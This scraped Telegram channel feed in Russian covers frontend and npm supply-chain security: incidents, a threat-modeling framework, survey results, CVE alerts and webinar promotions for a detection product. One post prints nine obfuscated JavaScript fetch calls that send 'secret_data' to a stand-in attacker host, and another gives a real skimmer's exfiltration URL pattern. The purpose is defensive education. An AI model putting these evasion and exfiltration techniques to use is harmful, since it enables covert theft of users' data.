Очередная frontend-катастрофа в npm 💣
Вредоносный js-код добавлен в 18+ npm-зависимостей для frontend-приложений. Суммарно эти зависимости имеют более 2 миллиардов загрузок в неделю.
Атака типичная: фишинговое письмо🤒 разработчику "от имени npm", кража токена, публикация вредоносной версии библиотеки от имени разработчика (также как в инцидентах solana/web3.js , lottie-player).
Код злоумышленников переопределял функции для отправки сетевых запросов fetch, XMLHttpRequest, и API кошельков (window.ethereum, Solana и др.), анализировал запросы/ответы и на лету подменял получателя в криптовалютных транзакциях.
Цель злоумышленников - frontend-приложения с функциями перевода криптовалюты💸 . В других приложениях непосредственно деструктивные действия не выполняются (хотя иногда злоумышленники кроме целевых, добавляют всенаправленные вредоносные нагрузки, например js-сниффер отправленных форм в инциденте Flibusta).
⚠️ Не всегда подобные инциденты освещаются во всех новостях как в этот раз. И в фидах SCA-вендоров тоже может не быть такой информации в следующих случаях.
1️⃣ Непопулярные библиотеки и форки
2️⃣ Разработчик сам добавляет вредоносный код в библиотеку (polyfill.js, colors и faker)
3️⃣ Мейнтейнеры не заметили, что вредоносный код был добавлен одним из них
4️⃣ Вредоносную библиотеку использует внешний js-сервис, который используется в нашем приложении
5️⃣ Ситуация может осложняться запуском вредоносного кода по условию, например по дате, допустим через 6 месяцев ⏰ , чтобы скомпрометированная версия распространилась по большинству "живых" frontend-приложений по всему миру 🌍
В этих случаях вредоносный js-код может месяцами📆 присутствовать в наших frontend-приложениях, если мы не анализируем поведение приложения до релиза и регулярно после релиза в продуктиве.
@FrontSecOps
Вредоносный js-код добавлен в 18+ npm-зависимостей для frontend-приложений. Суммарно эти зависимости имеют более 2 миллиардов загрузок в неделю.
backslash (0.26m downloads per week)
chalk-template (3.9m downloads per week)
supports-hyperlinks (19.2m downloads per week)
has-ansi (12.1m downloads per week)
simple-swizzle (26.26m downloads per week)
color-string (27.48m downloads per week)
error-ex (47.17m downloads per week)
color-name (191.71m downloads per week)
is-arrayish (73.8m downloads per week)
slice-ansi (59.8m downloads per week)
color-convert (193.5m downloads per week)
wrap-ansi (197.99m downloads per week)
ansi-regex (243.64m downloads per week)
supports-color (287.1m downloads per week)
strip-ansi (261.17m downloads per week)
chalk (299.99m downloads per week)
debug (357.6m downloads per week)
ansi-styles (371.41m downloads per week)
Атака типичная: фишинговое письмо
Код злоумышленников переопределял функции для отправки сетевых запросов fetch, XMLHttpRequest, и API кошельков (window.ethereum, Solana и др.), анализировал запросы/ответы и на лету подменял получателя в криптовалютных транзакциях.
Цель злоумышленников - frontend-приложения с функциями перевода криптовалюты
В этих случаях вредоносный js-код может месяцами
@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1👍1
Фреймворк моделирования угроз для frontend-приложений
В классическом понимании "взламывать/атаковать" frontend-приложение (белый ящик 🥡, выполняющийся в неконтролируемой зоне - браузере пользователя🖥 ) не имеет смысла. На безопасность frontend-приложений следует смотреть с точки зрения "Что будет, если злоумышленник сможет внедрить свой код 🦠 к нам в приложение?"
А способов внедрить код (векторов) множество, и XSS - только один из них, причем далеко не самый критичный. Способов монетизации - десятки, поэтому мы регулярно видим крупные инциденты в frontend-приложениях💰
Существующие подходы и каталоги угроз слабо применимы для frontend-приложений. Это приводит к непониманию векторов проникновения вредоносного кода в приложения, способов его монетизации и последствий для бизнеса😣
DPA Analytics опубликовали фреймворк моделирования угроз для frontend-приложений. О самом фреймворке я рассказывал в докладе на PHDays 2025. Мы визуализировали его в виде Frontend Kill Chain (по принципу MITRE ATT&CK Matrix и Lockheed Martin's Cyber Kill Chain).
Скачать визуализацию можно здесь:
📄 DPA Frontend Threat Modeling Framework v1.0.0.pdf
Построить модель угроз по фреймворку для своего приложения можно в бесплатном онлайн сервисе:
☺️ Онлайн-сервис для моделирования угроз
Важно!⚠️ Полностью защититься от всех векторов на этапе разработки/тестирования невозможно. Поэтому контролировать безопасность frontend-приложения (с помощью анализа поведения) необходимо как до релиза, так и регулярно после релиза в продакшене.
@FrontSecOps
В классическом понимании "взламывать/атаковать" frontend-приложение (белый ящик 🥡, выполняющийся в неконтролируемой зоне - браузере пользователя
А способов внедрить код (векторов) множество, и XSS - только один из них, причем далеко не самый критичный. Способов монетизации - десятки, поэтому мы регулярно видим крупные инциденты в frontend-приложениях
Существующие подходы и каталоги угроз слабо применимы для frontend-приложений. Это приводит к непониманию векторов проникновения вредоносного кода в приложения, способов его монетизации и последствий для бизнеса
DPA Analytics опубликовали фреймворк моделирования угроз для frontend-приложений. О самом фреймворке я рассказывал в докладе на PHDays 2025. Мы визуализировали его в виде Frontend Kill Chain (по принципу MITRE ATT&CK Matrix и Lockheed Martin's Cyber Kill Chain).
Скачать визуализацию можно здесь:
Построить модель угроз по фреймворку для своего приложения можно в бесплатном онлайн сервисе:
Важно!
@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍5
Результаты исследования безопасности российских frontend-приложений
Мы опубликовали исследование безопасности российских frontend-приложений🖥 за 1 полугодие 2025 года.
Были проверены приложения более 3000 крупнейших коммерческих российских компаний. С учетом актуальных угроз, известных инцидентов и повышения штрафов за невыполнение 152-ФЗ текущая оценка является неудовлетворительной❌
⚠️ 64 % загружают скрипты с хостов за пределами РФ
⚠️ 71 % отправляют сетевые запросы на зарубежные хосты
⚠️ 7/100 эффективность конфигурации Content Security Policy (CSP)
⚠️ 50 % вызывают высокорисковые API браузера, что может быть признаком наличия в приложении вредоносного кода 🦠
⚠️ > 70% компаний рискуют получить штрафы от 1 до 18 млн. руб. 💸 за сбор ПД 🪪 с использованием баз данных, размещенных за пределами РФ
Средняя оценка безопасности по всем отраслям: 39 из 100❌
Средняя оценка в категории онлайн-банков - 77 из 100⚠️ ; лучше чем по другим отраслям, но с учетом критичности данных приложений, этого явно не достаточно.
Полный отчет об исследовании доступен по ссылке:
📄 dpa-frontend-security-research-half-year-2025.pdf
@FrontSecOps
Мы опубликовали исследование безопасности российских frontend-приложений
Были проверены приложения более 3000 крупнейших коммерческих российских компаний. С учетом актуальных угроз, известных инцидентов и повышения штрафов за невыполнение 152-ФЗ текущая оценка является неудовлетворительной
Средняя оценка безопасности по всем отраслям: 39 из 100
Средняя оценка в категории онлайн-банков - 77 из 100
Полный отчет об исследовании доступен по ссылке:
@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17👍3😨2
Всем привет! Мои ближайшие доклады:
🔸Frontend Conf
21.10 (вторник) 18:00 (МСК), зал "Кинетика", 1 этаж, оффлайн
"JS-снифферы приходят к нам через NPM. Как обнаружить вредоносные действия до релиза?"
🔸CyberCamp
23.10 (четверг) 11:00 (МСК), онлайн
"Моделирование угроз для frontend-приложения: делаем каждый релиз Secure By Design"
🔸SOC FORUM
20.11 (четверг) 12:00 (МСК), онлайн и оффлайн
"JS-снифферы приходят в наши приложения с NPM-зависимостями. Как использовать браузер-песочницу для обнаружения вредоносных действий до релиза?"
🔸Frontend Conf
21.10 (вторник) 18:00 (МСК), зал "Кинетика", 1 этаж, оффлайн
"JS-снифферы приходят к нам через NPM. Как обнаружить вредоносные действия до релиза?"
🔸CyberCamp
23.10 (четверг) 11:00 (МСК), онлайн
"Моделирование угроз для frontend-приложения: делаем каждый релиз Secure By Design"
🔸SOC FORUM
20.11 (четверг) 12:00 (МСК), онлайн и оффлайн
"JS-снифферы приходят в наши приложения с NPM-зависимостями. Как использовать браузер-песочницу для обнаружения вредоносных действий до релиза?"
👍4❤2
Вебинар по FAST-анализатору 12 ноября в 11:00 МСК
12 ноября в 11:00 МСК проведу бесплатный вебинар, где обсудим, почему в реальных инцидентах вредоносный код (js-скрипты) присутствует на веб-страницах месяцами и успешно похищает данные прямо в браузере пользователя.
На вебинаре обсудим:
🔸Актуальные угрозы: как и зачем внедряют вредоносный код в frontend-приложения и веб-страницы?
🔸Почему браузер пользователя - "слепая" зона для ИБ и идеальная точка монетизации для злоумышленника?
🔸Почему SAST, DAST, SCA, WAF, NGFW не выявляют такие угрозы и примеры реальных инцидентов?
🔸Подход Frontend Application Security Testing (FAST) и первый российский FAST-анализатор.
🔸Демо: как DPA FAST Analyzer обнаруживает вредоносное поведение js-кода и устраняет "слепую" зону.
🔸Как встроить проверки на всех этапах SSDLC/DevSecOps/РБПО и прийти к Secure by Design?
❔ Можно будет задать вопросы и получить практические рекомендации по безопасности frontend-приложений.
⏺ Зарегистрируйтесь, чтобы получить ссылку на вебинар и запись после него
Дата: 12 ноября (среда)
Время: 11:00 МСК
12 ноября в 11:00 МСК проведу бесплатный вебинар, где обсудим, почему в реальных инцидентах вредоносный код (js-скрипты) присутствует на веб-страницах месяцами и успешно похищает данные прямо в браузере пользователя.
На вебинаре обсудим:
🔸Актуальные угрозы: как и зачем внедряют вредоносный код в frontend-приложения и веб-страницы?
🔸Почему браузер пользователя - "слепая" зона для ИБ и идеальная точка монетизации для злоумышленника?
🔸Почему SAST, DAST, SCA, WAF, NGFW не выявляют такие угрозы и примеры реальных инцидентов?
🔸Подход Frontend Application Security Testing (FAST) и первый российский FAST-анализатор.
🔸Демо: как DPA FAST Analyzer обнаруживает вредоносное поведение js-кода и устраняет "слепую" зону.
🔸Как встроить проверки на всех этапах SSDLC/DevSecOps/РБПО и прийти к Secure by Design?
Дата: 12 ноября (среда)
Время: 11:00 МСК
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6❤1
Может ли SAST обнаружить вредоносный код?
Часто встречаю мнение, что применение статического анализа кода (SAST) является достаточной проверкой на наличие вредоносного кода🦠 в frontend-приложении, в том числе в зависимостях. Давайте посмотрим, почему это не так.
1️⃣ Задача SAST - поиск в коде неких антипаттернов (уязвимостей): отсутствие санитизации ввода/вывода и прочее.
2️⃣ В случае с frontend-приложениями вредоносные действия не отличаются от бизнес логики. Например, js-сниффер получает данные из формы и отправляет запрос к API (на хост злоумышленника), чтобы украсть данные 🪪 . Это ничем не отличается от легитимного обработчика формы (кроме хоста получателя запроса).
3️⃣ "Из коробки" SAST не содержит правил, которые показывают все отправки данных в js-коде 🔍
4️⃣ Попробуем написать правило сами? Например, найдем все вызовы функции fetch() и будем проверять, что там нет "плохих" URL. Кто использует такие правила?
5️⃣ В JavaScript есть различные трюки для вызова функций без указания их имени, вот примеры вызова той же функции fetch(). Вставьте в консоль браузера для проверки. Сможем написать правило, которое обнаружит все эти вызовы?
6️⃣ В JavaScript есть 26+ способов отправки сетевых запросов: fetch, xhr, websocket, eventsource (connect), navigation, create element (img, iframe), css и другие. Все эти функции можно вызывать как в предыдущем пункте.
7️⃣ Т.к. код вредоносный, злоумышленник будет использовать техники скрытия вызовов 🤒 , а векторов попадания вредоносного кода в приложение множество.
8️⃣ SAST не выполняет код, поэтому не видит, что внутри eval('code') (функция динамической интерпретации кода из строки). eval() тоже можно вызвать так, что SAST не найдет.
9️⃣ Даже, если мы напишем правила, которые "достоверно" обнаружат в коде все отправки сетевых запросов, мы получим десятки тысяч ложных срабатываний 🌡 (т.к. createElement - основа любого frontend-приложения).
1️⃣ 0️⃣ Про зависимости, кто-то анализировал SAST-ом папку node_modules? Было полезно? 😁
Таким образом, применение SAST вообще не гарантирует, что в коде frontend-приложения нет js-снифферов, майнеров, показа фишинговых баннеров и других угроз. Да и поиск вредоносного кода никогда не являлся задачей SAST-анализаторов (из коробки). Анализ поведения кода - задача FAST-анализатора, где сетевые запросы обнаруживаются на уровне ядра браузера, где представление кода не имеет значения.
Завтра (12.11.2025) в 11:00 МСК на вебинаре обсудим почему SAST, DAST, SCA, WAF не снижают риски для frontend-приложений, в реальных инцидентах вредоносный код месяцами крадет данные пользователей в браузере и покажу ДЕМО FAST-анализатора☺️
Регистрация на вебинар
@FrontSecOps
Часто встречаю мнение, что применение статического анализа кода (SAST) является достаточной проверкой на наличие вредоносного кода
fetch('https://attacker.dspdemo.ru/leak?d=secret_data_1');
window['fet' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_2');
this['\x66' + 'et' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_3');
this['\x66' + String.fromCharCode(new Date().getFullYear() - 1900 - 24) + 't' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_4');
globalThis['fetch']('https://attacker.dspdemo.ru/leak?d=secret_data_5');
Reflect.get(window, 'fetch')('https://attacker.dspdemo.ru/leak?d=secret_data_6');
eval("fetch('https://attacker.dspdemo.ru/leak?d=secret_data_7')");
await (new Function('u', 'return fetch(u)'))('https://attacker.dspdemo.ru/leak?d=secret_data_8');
setTimeout(`(globalThis['f' + String.fromCharCode(101) + 't' + String.fromCharCode(99) + 'h'])('https://attacker.dspdemo.ru/leak?d=secret_data_9')`, 1000);
Таким образом, применение SAST вообще не гарантирует, что в коде frontend-приложения нет js-снифферов, майнеров, показа фишинговых баннеров и других угроз. Да и поиск вредоносного кода никогда не являлся задачей SAST-анализаторов (из коробки). Анализ поведения кода - задача FAST-анализатора, где сетевые запросы обнаруживаются на уровне ядра браузера, где представление кода не имеет значения.
Завтра (12.11.2025) в 11:00 МСК на вебинаре обсудим почему SAST, DAST, SCA, WAF не снижают риски для frontend-приложений, в реальных инцидентах вредоносный код месяцами крадет данные пользователей в браузере и покажу ДЕМО FAST-анализатора
Регистрация на вебинар
@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5
Media is too big
VIEW IN TELEGRAM
Запись вебинара FAST: Безопасность frontend-приложений от модели угроз до продакшена в SSDLC/DevSecOps и демонстрация DPA FAST Analyzer ☺️
Часть 1. Безопасность frontend-приложений
00:00 Вступление
01:00 Бэкенд и фронтенд, уязвимости или вредоносный код, что важнее?
05:54 Зачем злоумышленникам внедрять вредоносный код в наши приложения?💰
09:07 Вектора попадания вредоносного кода
11:25 Фреймворк моделирования угроз Frontend Kill Chain
12:46 Компоненты приложения
13:20 Размер код и npm-зависимости
15:06 Минификация и обфускация📱
15:32 Обзор инцидентов
22:03 Как через фронтенд заражают корп. сети без доступа в интернет?
23:26 Российские приложения готовы к этим угрозам? Результаты исследования
27:43 Резюме по безопасности frontend-приложений
28:48 Почему SAST, SCA, DAST не обнаруживают актуальные угрозы?
33:20 Концепция Frontend Application Security Testing (FAST)
35:12 Как работает FAST-анализатор?
Часть 2. Демо FAST-анализатора
41:14 Демо приложение на React
42:01 Запуск сканирования в FAST-анализаторе DPA FAST Analyzer🔎
42:32 Как записать сценарий сканирования в Chrome DevTools Recorder📱
44:18 Результаты первого скана и создание разрешающего профиля поведения
47:33 Добавляем вредоносный код🦠
49:09 Что делает этот вредоносный код?
50:30 Вредоносное поведение обнаружено по нескольким аномалиям🆘
53:12 Интерфейс инвентаризации скриптов
Часть 3. FAST в DevSecOps
53:52 FAST в DevSecOps
54:38 Эффект от внедрения FAST-анализатора🛡
55:55 Требования регуляторов
56:58 Полезные ссылки
58:18 Как запросить пилот FAST-анализатора
58:35 Как сканировать FAST-ом без сценариев. Демо "ручного" сканирования🖥
01:00:37 Оценка безопасности приложений в FAST-анализаторе
01:01:05 Ответы на вопросы
Смотрите запись вебинара в этом посте или на любых площадках:
📹 YT 📺 VK 📺 RT
@FrontSecOps
Часть 1. Безопасность frontend-приложений
00:00 Вступление
01:00 Бэкенд и фронтенд, уязвимости или вредоносный код, что важнее?
05:54 Зачем злоумышленникам внедрять вредоносный код в наши приложения?
09:07 Вектора попадания вредоносного кода
11:25 Фреймворк моделирования угроз Frontend Kill Chain
12:46 Компоненты приложения
13:20 Размер код и npm-зависимости
15:06 Минификация и обфускация
15:32 Обзор инцидентов
22:03 Как через фронтенд заражают корп. сети без доступа в интернет?
23:26 Российские приложения готовы к этим угрозам? Результаты исследования
27:43 Резюме по безопасности frontend-приложений
28:48 Почему SAST, SCA, DAST не обнаруживают актуальные угрозы?
33:20 Концепция Frontend Application Security Testing (FAST)
35:12 Как работает FAST-анализатор?
Часть 2. Демо FAST-анализатора
41:14 Демо приложение на React
42:01 Запуск сканирования в FAST-анализаторе DPA FAST Analyzer
42:32 Как записать сценарий сканирования в Chrome DevTools Recorder
44:18 Результаты первого скана и создание разрешающего профиля поведения
47:33 Добавляем вредоносный код
49:09 Что делает этот вредоносный код?
50:30 Вредоносное поведение обнаружено по нескольким аномалиям
53:12 Интерфейс инвентаризации скриптов
Часть 3. FAST в DevSecOps
53:52 FAST в DevSecOps
54:38 Эффект от внедрения FAST-анализатора
55:55 Требования регуляторов
56:58 Полезные ссылки
58:18 Как запросить пилот FAST-анализатора
58:35 Как сканировать FAST-ом без сценариев. Демо "ручного" сканирования
01:00:37 Оценка безопасности приложений в FAST-анализаторе
01:01:05 Ответы на вопросы
Смотрите запись вебинара в этом посте или на любых площадках:
@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12❤1
Седьмой zeroday в Chrome за 2025 год
CVE-2025-13223 - уязвимость в V8 - открытие в браузере специально сформированной HTML-страницы приводит к выполнению произвольного кода на устройстве пользователя. Далее - шифровальщик, RAT и т.д. Если пользователь находится в корпоративной сети, это может привести к уничтожению всех данных компании, что мы уже видели в нескольких крупных инцидентах в этом году💥
Эксплойт уже существует и используется злоумышленниками в реальных атаках💣
Конечно, "плохие парни" могут создавать вредоносные страницы и "заманивать" туда пользователей через фишинг, но гораздо привлекательнее для злоумышленников - внедрить вредоносный код в frontend-приложения с целевой/большой посещаемостью.
Зависимости frontend-приложения - идеальный вектор для проникновения вредоносного кода в frontend-приложения, даже в приложения, доступные только внутри корпоративной сети (HRM, CRM и т.п.). В корпоративных сетях без интернета браузеры могут отставать от актуальной версии на несколько месяцев/лет📆 (видел такое неоднократно).
Для снижения риска необходимо обновить Chrome📱 до актуальной версии (142.0.7444.175) и регулярно проверять frontend-приложения FAST-анализатором ☺️
@FrontSecOps
CVE-2025-13223 - уязвимость в V8 - открытие в браузере специально сформированной HTML-страницы приводит к выполнению произвольного кода на устройстве пользователя. Далее - шифровальщик, RAT и т.д. Если пользователь находится в корпоративной сети, это может привести к уничтожению всех данных компании, что мы уже видели в нескольких крупных инцидентах в этом году
Эксплойт уже существует и используется злоумышленниками в реальных атаках
Конечно, "плохие парни" могут создавать вредоносные страницы и "заманивать" туда пользователей через фишинг, но гораздо привлекательнее для злоумышленников - внедрить вредоносный код в frontend-приложения с целевой/большой посещаемостью.
Зависимости frontend-приложения - идеальный вектор для проникновения вредоносного кода в frontend-приложения, даже в приложения, доступные только внутри корпоративной сети (HRM, CRM и т.п.). В корпоративных сетях без интернета браузеры могут отставать от актуальной версии на несколько месяцев/лет
Для снижения риска необходимо обновить Chrome
@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5👾3🔥2❤1
Небезопасная десериализация, RCE. Специально сформированный HTTP-запрос неаутентифицированного пользователя приводит к выполнению произвольного кода на сервере
CVE-2025-55182 / CVSS 10.0
Эксплойт доступен
Уязвимость присутствует в версиях 19.0, 19.1.0, 19.1.1 и 19.2.0 пакетов:
Уязвимость затрагивает как минимум: next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc и rwsdk.
Патчи опубликованы, необходимо срочно обновляться, если используются соответствующие серверные функции. И следить, что будет происходить в ближайшие дни.
Подробности:
@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7❤5👏2
В среду 28 января в 11:00 МСК в прямом эфире AM Live будем говорить об актуальных угрозах и средствах защиты веб-приложений 🛡
Обсудим:
🔸Цель злоумышленников, что монетизируют в первую очередь?
🔸Что важнее? WAF, Frontend Security, Anti DDOS/Bot, защита API, процессы/инвентаризация, безопасность мобильных приложений, SSDLC/РБПО?
🔸Как при внедренном WAF и защите API вредоносный скрипт на фронтенде может месяцами похищать персональные данные пользователей?
Участие бесплатное, регистрация по ссылке🔗
Обсудим:
🔸Цель злоумышленников, что монетизируют в первую очередь?
🔸Что важнее? WAF, Frontend Security, Anti DDOS/Bot, защита API, процессы/инвентаризация, безопасность мобильных приложений, SSDLC/РБПО?
🔸Как при внедренном WAF и защите API вредоносный скрипт на фронтенде может месяцами похищать персональные данные пользователей?
Участие бесплатное, регистрация по ссылке
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3
В крупнейшем банке США 😒 (топ 3 ↗️ ) в интернет-магазине для сотрудников был обнаружен js-сниффер/кейлогер 🦠
Интернет-магазин могли использовать до 200 000 сотрудников банка. Сниффер перехватывал данные банковских карт, логины/пароли пользователей, адрес доставки товара и другие данные, введенные в формы 🪪
Что делал вредоносный код?
🔹В код страниц был внедрен inline-скрипт (загрузчик)📱 , он проверял, что страница является страницей подтверждения заказа (наличие "checkout" в URL).
🔹Если да, то на страницу динамически загружался с внешнего хоста сам js-сниффер⬇️ (URL https://js-csp[.]com/getInjector/).
🔹Сниффер перехватывал содержимое полей (элементы input, textarea, select) формы оплаты/аутентификации/регистрации/оформления заказа. Во многих популярных движках интернет-магазинов все эти формы находятся на странице подтверждения заказа.
🔹Для отправки украденных данных на хост злоумышленника на странице динамически создавался элемент IMG. Украденные данные кодировались в base64 и передавались в GET-параметрах (https://js-csp[.]com/fetchData/?data=<base64>&loc=<origin>)🔼
🔸1 декабря 2025 - регистрация доменного имени злоумышленников.
🔸14 января 2026 - js-сниффер обнаружен компанией Sansec, уведомление банка.
🔸15 января 2026 - вредоносный скрипт удален из приложения.
Наиболее вероятно, что это результат взлома CMS интернет-магазина через эксплуатацию уязвимостей либо украденную учетную запись администратора.
⚠️ Обратите внимание, что в скрипте-загрузчике строка с URL js-сниффера закодирована через использование массива с кодами каждого символа строки. Это самый примитивный способ, но даже он делает статический анализ (SAST) не эффективным для обнаружения вредоносного кода в frontend-приложениях.
Время присутствия: от 1 до 45 дней
Обнаружение инцидента: уведомление от сторонней компании и публикации в СМИ.
DPA Frontend Threat Modeling Framework (Frontend Kill Chain) :
Вектор:
🔹T-3: Компрометация сервера приложения
Способ реализации:
🔹T-27: Кража персональных данных
🔹T-26: Кража токенов/секретов/учетных данных и отправка на хост злоумышленника
🔹T-45: Вредоносный код выполняется только при определенном действии (клик по кнопке логин/оплатить/отправить).
При использовании анализатора класса FAST (Frontend Application Security Testing) данный инцидент мог быть обнаружен в течение 1-3 часов (в зависимости от частоты сканирования) после добавления вредоносного скрипта в приложение, а при использовании FOP - через 1 минуту.
@FrontSecOps
Интернет-магазин могли использовать до 200 000 сотрудников банка. Сниффер перехватывал данные банковских карт, логины/пароли пользователей, адрес доставки товара и другие данные, введенные в формы 🪪
Что делал вредоносный код?
🔹В код страниц был внедрен inline-скрипт (загрузчик)
🔹Если да, то на страницу динамически загружался с внешнего хоста сам js-сниффер
🔹Сниффер перехватывал содержимое полей (элементы input, textarea, select) формы оплаты/аутентификации/регистрации/оформления заказа. Во многих популярных движках интернет-магазинов все эти формы находятся на странице подтверждения заказа.
🔹Для отправки украденных данных на хост злоумышленника на странице динамически создавался элемент IMG. Украденные данные кодировались в base64 и передавались в GET-параметрах (https://js-csp[.]com/fetchData/?data=<base64>&loc=<origin>)
🔸1 декабря 2025 - регистрация доменного имени злоумышленников.
🔸14 января 2026 - js-сниффер обнаружен компанией Sansec, уведомление банка.
🔸15 января 2026 - вредоносный скрипт удален из приложения.
Наиболее вероятно, что это результат взлома CMS интернет-магазина через эксплуатацию уязвимостей либо украденную учетную запись администратора.
Время присутствия: от 1 до 45 дней
Обнаружение инцидента: уведомление от сторонней компании и публикации в СМИ.
DPA Frontend Threat Modeling Framework (Frontend Kill Chain) :
Вектор:
🔹T-3: Компрометация сервера приложения
Способ реализации:
🔹T-27: Кража персональных данных
🔹T-26: Кража токенов/секретов/учетных данных и отправка на хост злоумышленника
🔹T-45: Вредоносный код выполняется только при определенном действии (клик по кнопке логин/оплатить/отправить).
При использовании анализатора класса FAST (Frontend Application Security Testing) данный инцидент мог быть обнаружен в течение 1-3 часов (в зависимости от частоты сканирования) после добавления вредоносного скрипта в приложение, а при использовании FOP - через 1 минуту.
@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍4
4 февраля 2026 (среда) в 16:00 МСК в рамках цикла вебинаров "Вокруг РБПО за 25 вебинаров: ГОСТ Р 56939-2024" от PVS-Studio провожу вебинар:
Безопасность frontend-приложений: особенности, угрозы и анализаторы класса FAST (Frontend Application Security Testing)
Рассмотрим актуальные угрозы, фреймворк МУ Frontend Kill Chain, обсудим, почему классические анализаторы имеют низкую достоверность для frontend-приложений, и как использовать FAST-анализатор в процессе РБПО по ГОСТ Р 56939-2024.
Дата: 4 февраля (среда)
Время: 16:00 МСК
Регистрация на вебинар:
https://pvs-studio.ru/ru/webinar/rbpo/
Безопасность frontend-приложений: особенности, угрозы и анализаторы класса FAST (Frontend Application Security Testing)
Рассмотрим актуальные угрозы, фреймворк МУ Frontend Kill Chain, обсудим, почему классические анализаторы имеют низкую достоверность для frontend-приложений, и как использовать FAST-анализатор в процессе РБПО по ГОСТ Р 56939-2024.
Дата: 4 февраля (среда)
Время: 16:00 МСК
Регистрация на вебинар:
https://pvs-studio.ru/ru/webinar/rbpo/